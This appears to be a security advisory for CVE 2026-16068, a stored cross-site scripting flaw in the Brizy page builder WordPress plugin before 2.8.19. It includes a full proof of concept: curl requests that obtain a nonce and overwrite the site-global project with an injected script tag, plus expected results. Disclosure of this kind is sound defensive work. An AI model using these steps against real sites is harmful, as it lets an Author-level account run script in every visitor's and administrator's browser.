Brizy – Page Builder < 2.8.19 – Author+ Stored XSS via brizy_set_project Global Project Code Asset | CVE 2026-16068

Description

The plugin does not properly restrict who can modify its site-global design data and does not sanitise part of that data before outputting it, allowing authenticated users with Author-level access and above to store arbitrary JavaScript that is then served unsanitised on the site's front-end pages and executes in the browser of every visitor, including administrators.

Proof of Concept

Prerequisites:
- An Author-level (or higher) account on the target.
- At least one published page built with Brizy exists on the site (so the site-global project's assets are enqueued on the front end).
- Multisite install, or DISALLOW_UNFILTERED_HTML defined, so the Author does not hold unfiltered_html (this establishes the sanitisation bypass).

Steps (performed as the Author):

1. Obtain the editor nonce. The plugin's heartbeat action returns a fresh, usable nonce to any logged-in user:
   curl -s -b author-cookies.txt 'https://victim.example/wp-admin/admin-ajax.php' --data 'action=brizy_heartbeat'
   -> {"success":true,"data":{"status":"nonce_expired","code":403,"hash":"<NONCE>"}}

2. Read the site-global project's current data version (the editor exposes it in the project status returned by brizy_get_project). Send the next value, current+1, as <DV>.

3. Overwrite the site-global project. Omit the "post" parameter so the write targets the global project.
   version is the plugin's editor version string (e.g. 368-wp for 2.8.18):
   curl -s -b author-cookies.txt 'https://victim.example/wp-admin/admin-ajax.php' \
     --data 'action=brizy_set_project' \
     --data 'hash=<NONCE>' \
     --data 'version=368-wp' \
     --data 'dataVersion=<DV>' \
     --data-urlencode 'data={"meta":1}' \
     --data-urlencode 'compiled={"styles":[{"name":"x","score":1,"pro":false,"content":{"type":"code","content":"<script>alert(document.domain)</script>"}}]}'
   -> {"success":true,...}
   The Author holds publish_posts, so the overwritten global project keeps post_status=publish and is selected for rendering.

4. As an unauthenticated visitor, open any Brizy-built page (e.g. https://victim.example/brizy-home/).

Expected result: the injected <script> appears raw/unescaped inside the document <head> of the served HTML and executes in the browser of every visitor (alert(document.domain)), including administrators viewing the front end.

Negative control (confirms the Author floor): repeating step 3 as a Contributor (who lacks publish_posts) succeeds as a write but sets the global project to post_status=pending, which the front-end consumer does not select or render, so no script is emitted.